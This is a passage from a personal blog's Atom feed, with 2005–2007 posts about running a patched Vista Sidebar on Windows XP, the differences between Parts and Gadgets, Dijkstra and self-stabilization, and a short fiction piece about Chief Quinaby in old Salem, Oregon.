limited set of functionality in the XP version, as compared to the released Vista version.&lt;/p&gt;&#xA;&lt;p&gt;So, that poses a question? Considering the large amount of people who aren&#39;t interested in upgrading to Vista, due to performance or cost issues, or just not wanting to uproot and start again, is it worth my time to develop for this patched version of the Vista sidebar? Is there a substantial user-base that would benefit from having more cool Gadgets, I mean Parts, to run in their XP Patched Vista Beta Sidebar?&lt;/p&gt;&#xA;&lt;p&gt;Perhaps that&#39;s a bigger niche than one would initially imagine.&lt;/p&gt;&#xA;&lt;p&gt;Well, until I have an install of Vista to run the release version, providing a development environment for generating good Gadgets, I may just amuse myself with by playing with potentially pointless Parts.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Well, I was very excited about &lt;a href=&#34;http://vanguard-against-confusion.blogspot.com/2007/02/vista-sidebar-on-xp.html&#34;&gt;getting the Vista sidebar to work on XP&lt;/a&gt;, until I started playing with the Gadgets.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;It turns out the patched version of the Sidebar executable is from a early beta version of Vista. The unfortunate point about that, is that the Gadgets that work with the XP version are vastly different than the Gadgets for the released version of Vista. That means all the gadgets that you can download don&#39;t work with the XP version. It also means that all the information about developing Gadgets for the Sidebar is relevant to the Vista version, not the XP version.&lt;/p&gt;&#xA;&lt;p&gt;To detail some of the differences:&lt;/p&gt;&#xA;&lt;p&gt;In the early release, Gadgets are not even called Gadgets, they are called Parts. Parts and Gadgets are very similar, in that they both are a zip file containing what amounts to a mini-webpage which is loaded and interpreted by the Sidebar.&lt;/p&gt;&#xA;&lt;p&gt;In the XP version, a &lt;code&gt;Part&lt;/code&gt; is a zip file with the extension changed to &lt;code&gt;.part&lt;/code&gt;, in Vista the extension is &lt;code&gt;.gadget&lt;/code&gt;. In XP, the directory where those files are stored is &lt;code&gt;%userdir%\Parts&lt;/code&gt;, in Vista it&#39;s &lt;code&gt;%userdir%\AppData\Local\Microsoft\Windows\SidebarGadgets&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Parts require a &lt;code&gt;Manifest.XML&lt;/code&gt; file, while Gadgets require a &lt;code&gt;Gadget.xml&lt;/code&gt; file. The contents of those files, while containing nearly the same data, use different names for all the tags, making them not compatible.&lt;/p&gt;&#xA;&lt;p&gt;Beyond that there are a number of other subtle differences, as well as a generally limited set of functionality in the XP version, as compared to the released Vista version.&lt;/p&gt;&#xA;&lt;p&gt;So, that poses a question? Considering the large amount of people who aren&#39;t interested in upgrading to Vista, due to performance or cost issues, or just not wanting to uproot and start again, is it worth my time to develop for this patched version of the Vista sidebar? Is there a substantial user-base that would benefit from having more cool Gadgets, I mean Parts, to run in their XP Patched Vista Beta Sidebar?&lt;/p&gt;&#xA;&lt;p&gt;Perhaps that&#39;s a bigger niche than one would initially imagine.&lt;/p&gt;&#xA;&lt;p&gt;Well, until I have an install of Vista to run the release version, providing a development environment for generating good Gadgets, I may just amuse myself with by playing with potentially pointless Parts.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>vista sidebar on XP</title>
		<id>https://blog.thoward37.me/articles/vista-sidebar-on-xp</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/vista-sidebar-on-xp" type="text/html"></link>
		<published>2007-02-08T03:32:00+00:00</published>
		<updated>2007-02-08T03:32:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;So, I was perusing &lt;a href=&#34;http://www.codeproject.com/&#34;&gt;codeproject.com&lt;/a&gt; and I came across their current &lt;a href=&#34;http://www.codeproject.com/Feature/Gadgets/&#34;&gt;Vista Gadgets Competition&lt;/a&gt;. Well, this sparked my interest, not because I am interested in prizes, but because until now, I hadn&#39;t heard of &lt;a href=&#34;http://microsoftgadgets.com/&#34;&gt;Gadgets&lt;/a&gt;, or the &lt;a href=&#34;http://vista.gallery.microsoft.com/vista/SideBar.aspx?mkt=en-us&#34;&gt;Vista Sidebar&lt;/a&gt;, or really much about &lt;a href=&#34;http://www.microsoft.com/windows/products/windowsvista/default.mspx&#34;&gt;Vista&lt;/a&gt; at all.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;The reason for this is that, I, being slightly conservative regarding willy-nilly-ly installing new OSes as soon as they are available, choose to upgrade by force, only when absolutely unable to do otherwise. That means, I&#39;m running Windows XP. So what is a developer to do now that his interest is piqued? Install Vista so I can play with Gadgets and the mystical sidebar? No! I, of course, choose to google up a nice patched version of sidebar.exe that can run on XP!&lt;/p&gt;&#xA;&lt;p&gt;Woohoo! I&#39;m excited to say, that this not only works, but works without a hitch. I was able to install and run the Vista Sidebar on XP in mere moments. And that also means I can fiddle with widgets, oops I mean Gadgets. ;)&lt;/p&gt;&#xA;&lt;p&gt;See my next few posts for more information about Gadgets... But before you do, &lt;a href=&#34;http://s134084144.onlinehome.us/gilsmethod/sitefiles/WindowsSidebarInstall.exe&#34;&gt;download the XP version of Windows Sidebar&lt;/a&gt; so you can join in the fun too!&lt;/p&gt;&#xA;&lt;p&gt;Links and knowledge courtesy of &lt;a href=&#34;http://mstn.homedns.org/&#34;&gt;MSTN&lt;/a&gt; and &lt;a href=&#34;http://mstn.homedns.org/mstn/asp/news/news_detail.asp?id=3520&#34;&gt;their article about this&lt;/a&gt;, which I found out about by reading &lt;a href=&#34;http://www.mydigitallife.info/2006/12/05/install-and-create-vista-sidebar-in-windows-xp/&#34;&gt;this blog post&lt;/a&gt; on &lt;a href=&#34;http://www.mydigitallife.info/&#34;&gt;My Digital Life&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;So, I was perusing &lt;a href=&#34;http://www.codeproject.com/&#34;&gt;codeproject.com&lt;/a&gt; and I came across their current &lt;a href=&#34;http://www.codeproject.com/Feature/Gadgets/&#34;&gt;Vista Gadgets Competition&lt;/a&gt;. Well, this sparked my interest, not because I am interested in prizes, but because until now, I hadn&#39;t heard of &lt;a href=&#34;http://microsoftgadgets.com/&#34;&gt;Gadgets&lt;/a&gt;, or the &lt;a href=&#34;http://vista.gallery.microsoft.com/vista/SideBar.aspx?mkt=en-us&#34;&gt;Vista Sidebar&lt;/a&gt;, or really much about &lt;a href=&#34;http://www.microsoft.com/windows/products/windowsvista/default.mspx&#34;&gt;Vista&lt;/a&gt; at all.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;The reason for this is that, I, being slightly conservative regarding willy-nilly-ly installing new OSes as soon as they are available, choose to upgrade by force, only when absolutely unable to do otherwise. That means, I&#39;m running Windows XP. So what is a developer to do now that his interest is piqued? Install Vista so I can play with Gadgets and the mystical sidebar? No! I, of course, choose to google up a nice patched version of sidebar.exe that can run on XP!&lt;/p&gt;&#xA;&lt;p&gt;Woohoo! I&#39;m excited to say, that this not only works, but works without a hitch. I was able to install and run the Vista Sidebar on XP in mere moments. And that also means I can fiddle with widgets, oops I mean Gadgets. ;)&lt;/p&gt;&#xA;&lt;p&gt;See my next few posts for more information about Gadgets... But before you do, &lt;a href=&#34;http://s134084144.onlinehome.us/gilsmethod/sitefiles/WindowsSidebarInstall.exe&#34;&gt;download the XP version of Windows Sidebar&lt;/a&gt; so you can join in the fun too!&lt;/p&gt;&#xA;&lt;p&gt;Links and knowledge courtesy of &lt;a href=&#34;http://mstn.homedns.org/&#34;&gt;MSTN&lt;/a&gt; and &lt;a href=&#34;http://mstn.homedns.org/mstn/asp/news/news_detail.asp?id=3520&#34;&gt;their article about this&lt;/a&gt;, which I found out about by reading &lt;a href=&#34;http://www.mydigitallife.info/2006/12/05/install-and-create-vista-sidebar-in-windows-xp/&#34;&gt;this blog post&lt;/a&gt; on &lt;a href=&#34;http://www.mydigitallife.info/&#34;&gt;My Digital Life&lt;/a&gt;.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>self-stabilization and dijkstra</title>
		<id>https://blog.thoward37.me/articles/self-stabilization-and-dijkstra</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/self-stabilization-and-dijkstra" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/self-stabilization-and-dijkstra" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/self-stabilization-and-dijkstra" type="text/html"></link>
		<published>2007-02-07T04:50:00+00:00</published>
		<updated>2007-02-07T04:50:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;img src=&#34;dijkstra.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, upon creating this blog, the first thing I felt obliged to do was to show it off to my roommate and idea-raquetball partner &lt;a href=&#34;http://www2.blogger.com/idletalk@fastmail.fm&#34;&gt;Max Strini&lt;/a&gt; (&lt;a href=&#34;http://contextfree.livejournal.com/&#34;&gt;his blog&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;His first reaction was &amp;quot;that&#39;s sort of militant&amp;quot;. Probably in reference to the original name for the blog, &lt;code&gt;Vanguard Against Confusion&lt;/code&gt;. The term &lt;code&gt;vanguard&lt;/code&gt; is generally used to refer to an aggressive front-line force of some sort. I concurred, but still felt I had made a good choice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Max then immediately hijacked my computer, launched a new firefox window, and began googling up and mumbling unrecognizable names. &lt;a href=&#34;http://en.wikipedia.org/wiki/Edsger_Dijkstra&#34;&gt;Dijkstra&lt;/a&gt;, &lt;a href=&#34;http://www.cs.utexas.edu/%7EEWD/transcriptions/EWD03xx/EWD340.html&#34;&gt;The Humble Programmer&lt;/a&gt;, and &lt;a href=&#34;http://www.cs.utexas.edu/users/EWD/transcriptions/EWD04xx/EWD498.html&#34;&gt;How do we tell truths that might hurt?&lt;/a&gt; suddenly appeared and were read out-loud to me by my excited friend and companion.&lt;/p&gt;&#xA;&lt;p&gt;He was right!&lt;/p&gt;&#xA;&lt;p&gt;How fascinating was Dijkstra? Fascinating enough that, even though I had worked 13 hours straight, eaten almost nothing all day, and have a beautiful wife and 1.5 week old child waiting for me, I felt compelled to click about and read more.&lt;/p&gt;&#xA;&lt;p&gt;I came across &lt;a href=&#34;http://en.wikipedia.org/wiki/Self-stabilization&#34;&gt; self-stabilization&lt;/a&gt; and it occurred to me, that the impetus behind creating this blog is a form of &lt;em&gt;self-stabilization&lt;/em&gt;. In one sense, it&#39;s my own self-stabilization, in which I will divest and store the processes by which I created order from confusion in my daily life, providing a resource which I could use to reduce the amount of overhead needed to repeat these feats. But secondly, it is self-stabilization as and unconscious process of the online tech-blogging community.&lt;/p&gt;&#xA;&lt;p&gt;I rely heavily on the blogged accounts of problem-solving that others so diligently post for all the world to see. The first thing I do when I encounter a new and challenging problem is to check and see who has dealt with this problem before, and what did they do? What solutions are already available in the vast spray of information available from public search engines?&lt;/p&gt;&#xA;&lt;p&gt;Most of the valuable information I find is not the official formal documentation provided by the institutions that created the technologies, detailing every facet of the system with excrutiating thoroughness, but rather the anecdotal, code-snippetted, hyper-linked, semi-stable accounts posted by my unknown peers battling the same dragons. From these bits, I learn how to use the vast and morbid technology describing in the aforementioned chronicles of specificata.&lt;/p&gt;&#xA;&lt;p&gt;So this blog, is &lt;em&gt;self-stabilization&lt;/em&gt; for the blogging culture in which I so heavily rely. If there were no blogs to read, how would I solve many of those problems? Isn&#39;t it my duty to give back to that system? Shouldn&#39;t I also serve to stabilize this information vortex and let other reap from my trouble-shooting bounty?&lt;/p&gt;&#xA;&lt;p&gt;Indeed. I should.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;img src=&#34;dijkstra.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, upon creating this blog, the first thing I felt obliged to do was to show it off to my roommate and idea-raquetball partner &lt;a href=&#34;http://www2.blogger.com/idletalk@fastmail.fm&#34;&gt;Max Strini&lt;/a&gt; (&lt;a href=&#34;http://contextfree.livejournal.com/&#34;&gt;his blog&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;His first reaction was &amp;quot;that&#39;s sort of militant&amp;quot;. Probably in reference to the original name for the blog, &lt;code&gt;Vanguard Against Confusion&lt;/code&gt;. The term &lt;code&gt;vanguard&lt;/code&gt; is generally used to refer to an aggressive front-line force of some sort. I concurred, but still felt I had made a good choice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Max then immediately hijacked my computer, launched a new firefox window, and began googling up and mumbling unrecognizable names. &lt;a href=&#34;http://en.wikipedia.org/wiki/Edsger_Dijkstra&#34;&gt;Dijkstra&lt;/a&gt;, &lt;a href=&#34;http://www.cs.utexas.edu/%7EEWD/transcriptions/EWD03xx/EWD340.html&#34;&gt;The Humble Programmer&lt;/a&gt;, and &lt;a href=&#34;http://www.cs.utexas.edu/users/EWD/transcriptions/EWD04xx/EWD498.html&#34;&gt;How do we tell truths that might hurt?&lt;/a&gt; suddenly appeared and were read out-loud to me by my excited friend and companion.&lt;/p&gt;&#xA;&lt;p&gt;He was right!&lt;/p&gt;&#xA;&lt;p&gt;How fascinating was Dijkstra? Fascinating enough that, even though I had worked 13 hours straight, eaten almost nothing all day, and have a beautiful wife and 1.5 week old child waiting for me, I felt compelled to click about and read more.&lt;/p&gt;&#xA;&lt;p&gt;I came across &lt;a href=&#34;http://en.wikipedia.org/wiki/Self-stabilization&#34;&gt; self-stabilization&lt;/a&gt; and it occurred to me, that the impetus behind creating this blog is a form of &lt;em&gt;self-stabilization&lt;/em&gt;. In one sense, it&#39;s my own self-stabilization, in which I will divest and store the processes by which I created order from confusion in my daily life, providing a resource which I could use to reduce the amount of overhead needed to repeat these feats. But secondly, it is self-stabilization as and unconscious process of the online tech-blogging community.&lt;/p&gt;&#xA;&lt;p&gt;I rely heavily on the blogged accounts of problem-solving that others so diligently post for all the world to see. The first thing I do when I encounter a new and challenging problem is to check and see who has dealt with this problem before, and what did they do? What solutions are already available in the vast spray of information available from public search engines?&lt;/p&gt;&#xA;&lt;p&gt;Most of the valuable information I find is not the official formal documentation provided by the institutions that created the technologies, detailing every facet of the system with excrutiating thoroughness, but rather the anecdotal, code-snippetted, hyper-linked, semi-stable accounts posted by my unknown peers battling the same dragons. From these bits, I learn how to use the vast and morbid technology describing in the aforementioned chronicles of specificata.&lt;/p&gt;&#xA;&lt;p&gt;So this blog, is &lt;em&gt;self-stabilization&lt;/em&gt; for the blogging culture in which I so heavily rely. If there were no blogs to read, how would I solve many of those problems? Isn&#39;t it my duty to give back to that system? Shouldn&#39;t I also serve to stabilize this information vortex and let other reap from my trouble-shooting bounty?&lt;/p&gt;&#xA;&lt;p&gt;Indeed. I should.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>a startlingly quick birth</title>
		<id>https://blog.thoward37.me/articles/a-startlingly-quick-birth</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/a-startlingly-quick-birth" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/a-startlingly-quick-birth" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/a-startlingly-quick-birth" type="text/html"></link>
		<published>2007-02-07T02:23:00+00:00</published>
		<updated>2007-02-07T02:23:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Creating this blog today was extremely simple. I am duely impressed.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Creating this blog today was extremely simple. I am duely impressed.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>A Ghost Of Christmas Past</title>
		<id>https://blog.thoward37.me/articles/a-ghost-of-christmas-past</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/a-ghost-of-christmas-past" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/a-ghost-of-christmas-past" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/a-ghost-of-christmas-past" type="text/html"></link>
		<published>2005-12-23T00:00:00+00:00</published>
		<updated>2005-12-23T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;&lt;em&gt;Note: A work of fiction, originally written for The Salem Monthly Newspaper&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dear reader, I would like, if I may, to relate a story to you. It&#39;s a story you may not believe, and to be sure, if it had not happened to me, I would not believe it myself. I am not a man who is usually given to flights of fancy, or other whimsical excursions of the mind. So, please consider the tale that I tell now to be the truth, as far as I can measure it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having completed my work for the night, I closed my books, turned off the lights, and left out the back door. It was unseasonably warm this year, and as I opened my umbrella, instead of snow, I was treated to the steady, lazy rain that defines an Oregon winter. I walked north along the sidewalk, the chill seeping in through the seams in my jacket, in a familiar but nonetheless unwelcome way. It was Christmas Eve, and I was in no hurry to return to my empty flat above the tavern on the corner of Liberty and High streets.&lt;/p&gt;&#xA;&lt;p&gt;I found myself on a bridge, on Winter Street, looking down at Mill Creek. I stared at those quickly moving waters flowing beneathe me, and thought of Hamlet&#39;s Ophelia, and how she must have felt, shortly before tossing herself into the river, her eyeballs wild, with a crazed desire to end her life.  For a moment, I leaned over the edge of the railing and considered how easy it would be to resign myself to the same fate. But as I said, I am a serious man, and after only a moment of dark desire flitting through my mind, I pulled back from the railing, and composed myself, preparing to continue my walk home.&lt;/p&gt;&#xA;&lt;p&gt;Just then, I head a noise to my left. It sounded like men, shouting and laughing, yelling &amp;quot;Hoia hai&amp;quot; over and over again, in a melodious way. I turned, and found myself face to face, eyeball to quivering eyeball with a very large white owl. I let out a stifled scream, and stumbled backwards, dropping my umbrella. I felt my feet slip from beneathe me, and my midriff hit hard, as I crashed into the bridge&#39;s stone railing. I tried to stop the inevitable. With arms flailing, I felt my weight shift the wrong direction and my stomache knotted up as I fell backwards, grasping at the slippery rail, plunging into the swift, cold waters of Mill Creek.&lt;/p&gt;&#xA;&lt;p&gt;I remember the owl staring down at me as I fell, &amp;quot;Hoia hai&amp;quot; echoing in my ears and a blinding flash of light as my head hit a rock and my body thudded against the muddy bank. When I awoke, I was frozen solid and could barely lift my arm to wipe the mud from my eyes. A light snow had begun to fall, and to my surprise, I could no longer see the bridge I had fallen from. I climbed the slippery bank, and found myself in a forest, no houses or streets in sight. I looked at the direction that the water in the creek was flowing, and I know it was flowing towards the river. So I followed the creek downstream, knowing it would bring me to the centre of town.&lt;/p&gt;&#xA;&lt;p&gt;As I walked, I again heard the sounds of mean laughing and roaring, speaking in a strange and foreign language. I came to a clearing in the woods, and through the sparse Yew trees, I saw a structure of some sort. The building looked suspiciously like a gigantic ice cream cone, turned upside down, and smashed into the ground, with smoke gently rising from the tip of the cone. I recognized the building from high school history class as a Native American building called a &amp;quot;wickiup&amp;quot;, though I&#39;d never seen a real one before. I approached the building and the voices became louder. Just as I was coming from the rear of the building, I saw a man walking up a small path through the woods with a lantern in his hand. He marched directly to the front of the building and yelled, &amp;quot;Quinaby! Quinaby, damn you, come out here right now!&amp;quot; A small aging man, with long black hair and bright shining eyes, dressed in a hat and waistcoat, poked his head out of the door and said, &amp;quot;Hey, hey, Bill Waldo. Quinaby glad to see you. Why you here on such a cold night?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Mr. Quinaby, you are too loud! My family and I are trying to sleep. You and your no-good tribe of gambling drunks are making such a racket, it&#39;ll wake the dead! Now quiet down, or I&#39;ll get the police!&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The little man straightened up and said, &amp;quot;Bill Waldo, this is a special night for celebration. Quinaby always noisy on this night. Go home. Go to sleep. It is too cold for arguing. &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Bill&#39;s lantern flickered in the wind, and he said, &amp;quot;I don&#39;t have to let you stay on my land Quinaby. In fact, I think it&#39;s time you leave.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby stood tall and proud, like a statue. If was a scene fit for the brush of a great painter, and the lines that followed should be recorded in history books everywhere.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby said, &amp;quot;Bill Waldo, you say Quinaby can no more have his camp! When white men came, they were few, Indians were many. Now white men many, Indians few. When white men came, Indians owned all the land. Now white men claim all the land, and Indians must herd into one place, and hide back in the mountains. When the white men came, Indians could kill them all. Some wanted to kill them, but Quinaby became white man&#39;s friend. He told the white men what Indians planned. He told Dan Waldo, and Bill Waldo. They were glad. Quinaby had their thanks.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Now Quinaby comes. He wants only what he has had, only what has been his right. Quinaby wants only his camp on a little piece of land no one else has a use for.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Bill Waldo, you say Quinaby may not have it any more!&amp;quot; Waldo could not resist. He turned without a word, and started down the path to his home. Quinaby went back inside and the gambling went on, and the chant, &amp;quot;Hoia hai, Hoia hai...&amp;quot; went ringing across the area.&lt;/p&gt;&#xA;&lt;p&gt;I was a little nervous, but desperate, as I crept around the side of the building, and stuck my head in the door. Four Indians turned in unison, instantly quiet, palming the small sticks in their hands.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Mr. Quinaby, can you help me?&amp;quot;, I said quickly, hoping to engage in conversation before my chest sprouted an arrow. Quinaby&#39;s thin laughter wheezed out and ended in a serious bout of coughing. He looked at me and said, &amp;quot;I like it when men say Mr. Quinaby. What do you want white man in the snow?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;I am lost. Can you please help me find my way back to the city?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby peered at me through wrinkled eyes for a moment. Finally he said, &amp;quot;You look very sick. Quinaby does not want you to die at his camp. Other white men will blame me. Come inside. Sit by the fire. &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I walked inside slowly, and the steady hard eyes of the men around the fire held me firmly in their gaze. They moved a little and made a space for me to sit down. Quinaby walked to the back of the room, and returned shortly with a plate of meat and some bread.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Eat this. Today is a special day. Today we have much food.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I thanked him and took the plate. I did not realize how hungry I had become until the warm and rich aroma of the meat tickled my nostrils. As I began to eat, Quinaby quietly muttered something in a strange language and the other men stood up, made a sign of respect, and left the building.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby sat staring at me while I ate. After a few minutes, he said, &amp;quot;Your clothes are very strange. I do not know you. What is your name, and where are you from?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;My name is John,&amp;quot; I replied, &amp;quot;and I live in Salem.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby nodded once and said, &amp;quot;Ok, John. Finish your food, and we will go to Salem.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;After I cleared my plate, Quinaby walked over with two hand woven blankets in his hand, gave me one, and said, &amp;quot;Wear this!&amp;quot;, then wrapped his blanket around himself. I did the same, and as he walked towards the door he said, &amp;quot;Follow me.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;We headed down the thin path through the Yew trees, while a light flurry of snow fell all around us, our feet crunching as we walked.&lt;/p&gt;&#xA;&lt;p&gt;I am not a very social person usually, but the silence was making me a little nervous, so I asked, &amp;quot;What tribe are you from, Mr. Quinaby?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Quinaby chuckled to himself and said, &amp;quot;Molalla. Quinaby is the last chief. My mother was Chemewa, and my father was Chemeketa. We are all Kalapuya&amp;quot;. He was quiet for a moment, but then shook his head and said, &amp;quot;When Quinaby was a little boy, all the Kalapuya familes would meet at this time of year. Where the creek meets the river. We would share food, tell stories, and laugh by the fire. Sometimes, there would be very little food. One year, half the people died. Now that time is gone. White men came, and now there are buildings in that place. Many Indians died from sickness the white men bring. Now Indians very few. White men give me some food, so Quinaby is white man&#39;s friend&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;After some time, we came across a small house with glowing windows and smoke coming from the chimney. Quinaby said, &amp;quot;Wait here, Mr. John. I will go get some more food&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;He walked up to the house, knocked on the door, and then disappeared inside. A few minutes later, he came crunching back through the snow with a bulging flour sack over his shoulder, and a huge grin on his face.&lt;/p&gt;&#xA;&lt;p&gt;We started down the road again, and before long the road widened and a number of buildings lined the street on either side. Finally, we came to a small town. To my surprise, I recognized the street names. This was Salem, but not the Salem I knew. There were very few buildings and many trees. The roads were made of dirt, and there were no street lights. After a while we came to the intersection of Winter Street and Mill Creek, where I had fallen earlier that night.&lt;/p&gt;&#xA;&lt;p&gt;Quinaby could see my confusion and said, &amp;quot;Yes, it is very different here now. Let&#39;s sit down and eat&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;We climbed down to the muddy shore of the creek and sat down. We ate and ate, and talked and talked. Quinaby told me many stories. He told me of the special &amp;quot;Chikamin House&amp;quot;, where white men can go to get free money. He told me of a man named Kylus who had married his sister, bore three children with her, and then killed her. Quinaby said, &amp;quot;I wanted to cut him into four quarters, and hang him on each corner of the town, but instead, I go to his house, and take everything he own&amp;quot;. He told me of rivers full of salmon and forests full of deer. He told me of the long march to Grand Ronde Reservation.&lt;/p&gt;&#xA;&lt;p&gt;Finally, our sack of food was empty. He stopped talking, laid back and fell asleep. I yawned and felt the warmth of my blanket, my full stomach, and I laid down and drifted away.&lt;/p&gt;&#xA;&lt;p&gt;I awoke with a start to a nudge in the side, and a light flashing in my eyes.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;You ok there, mister?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I looked up to the familiar face of a police officer, and realized I was slumped against the rail of the bridge. I got up, mumbled that I was fine, thanks, and headed down the road.&lt;/p&gt;&#xA;&lt;p&gt;I am still unsure whether the events I experienced were a dream, or something more mysterious, but now, as I sit and write this story, on a lonely Christmas Day, I think about Quinaby and the people who lived here long before. If Quinaby were alive today and knew someone was going to be writing about him, would he have tried to live a better life? What makes a chief become a beggar, gambling, drinking, and eating until he fell down dead by the side of the creek? And I wonder why, 120 years later, the only memory we have of this man is a train station and a street with his name on them. His modern descendents, living in trailer homes and running casinos, are not so different than he was. When a way of life is destroyed, there is no way to bring it back. But in a way, Quinaby was still living in the same way he always had. He was living off the land, but now there were strange fruit in the form of white men. He picked fruit from their plentiful trees and tried to avoid the poisonous parts. Bill Waldo knew the shame of what his people had done, because he saw it first hand.&lt;/p&gt;&#xA;&lt;p&gt;So now, during this season of giving, I feel strangely aware of everything I have, and what was necessary to obtain it.&lt;/p&gt;&#xA;&lt;p&gt;Thank you, Chief Quinaby, for a memorable Christmas Eve, full of laughter, food, good conversation, and the enjoyment of life despite all odds. I hope that everyone can be so lucky during this coming winter season.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;&lt;em&gt;Note: A work of fiction, originally written for The Salem Monthly Newspaper&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dear reader, I would like, if I may, to relate a story to you. It&#39;s a story you may not believe, and to be sure, if it had not happened to me, I would not believe it myself. I am not a man who is usually given to flights of fancy, or other whimsical excursions of the mind. So, please consider the tale that I tell now to be the truth, as far as I can measure it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having completed my work for the night, I closed my books, turned off the lights, and left out the back door. It was unseasonably warm this year, and as I opened my umbrella, instead of snow, I was treated to the steady, lazy rain that defines an Oregon winter. I walked north along the sidewalk, the chill seeping in through the seams in my jacket, in a familiar but nonetheless unwelcome way. It was Christmas Eve, and I was in no hurry to return to my empty flat above the tavern on the corner of Liberty and High streets.&lt;/p&gt;&#xA;&lt;p&gt;I found myself on a bridge, on Winter Street, looking down at Mill Creek. I stared at those quickly moving waters flowing beneathe me, and thought of Hamlet&#39;s Ophelia, and how she must have felt, shortly before tossing herself into the river, her eyeballs wild, with a crazed desire to end her life.  For a moment, I leaned over the edge of the railing and considered how easy it would be to resign myself to the same fate. But as I said, I am a serious man, and after only a moment of dark desire flitting through my mind, I pulled back from the railing, and composed myself, preparing to continue my walk home.&lt;/p&gt;&#xA;&lt;p&gt;Just then, I head a noise to my left. It sounded like men, shouting and laughing, yelling &amp;quot;Hoia hai&amp;quot; over and over again, in a melodious way. I turned, and found myself face to face, eyeball to quivering eyeball with a very large white owl. I let out a stifled scream, and stumbled backwards, dropping my umbrella. I felt my feet slip from beneathe me, and my midriff hit hard, as I crashed into the bridge&#39;s stone railing. I tried to stop the inevitable. With arms flailing, I felt my weight shift the wrong direction and my 